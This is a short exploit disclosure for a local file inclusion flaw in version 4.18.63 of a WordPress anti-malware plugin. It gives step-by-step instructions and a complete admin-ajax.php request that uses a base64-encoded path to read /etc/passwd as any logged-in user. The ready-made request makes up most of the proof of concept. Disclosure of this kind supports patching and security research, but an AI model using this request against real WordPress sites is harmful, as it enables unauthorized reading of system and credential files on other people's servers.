WordPress Plugin Anti-Malware Security and Brute-Force Firewall 4.18.63 - Local File Inclusion (PoC)

# Exploit Title: Wordpress Anti-Malware Security and Bruteforce Firewall - Local File Inclusion
# Google Dork: N/A
# Date: 03 / 26 / 2019
# Exploit Author: Ali S. Ahmad (S4R1N)
# Vendor Homepage: N/A
# Software Link: https://wordpress.org/plugins/gotmls/
# Version: (Version 4.18.63)
# Tested on: Debian GNU/Linux 9 (Docker)
# CVE : N/A
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Discovered By: Ali S. Ahmad (S4R1N) 03 / 26 / 2019
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A local file inclusion bug was discovered on the Wordpress Anti-Malware Security and Bruteforce Firewall (Version 4.18.63) plugin. 
This bug affects the file scan functionality of the plugin and can be exploited by any authenticated user (from subscriber to admin) simply by modifying the GOTMLS_scan= with a base64 encoded path to the file the attacker is trying to read. (example : GOTMLS_scan=L2V0Yy9wYXNzd2Q)
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Tools used : 
Attacker OS : Fedora 29 
Victim OS : Debian GNU/Linux 9 (running on docker)
Manual Testing tool : Burp Repeater / Browser
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Proof of Concept (PoC):

Step 1 - Log into Wordpress instance
Step 2 - Go to /wp-admin/admin-ajax.php?action=GOTMLS_scan&GOTMLS_mt=32fd564ad6974510e6bcd22815853f3d&mt=1553627072.7669&page=GOTMLS-settings&GOTMLS_scan=<base64 encoded file path>

URL : the following should yeild the contents of /etc/passwd /wp-admin/admin-ajax.php?action=GOTMLS_scan&GOTMLS_mt=32fd564ad6974510e6bcd22815853f3d&mt=1553627072.7669&page=GOTMLS-settings&GOTMLS_scan=L2V0Yy9wYXNzd2Q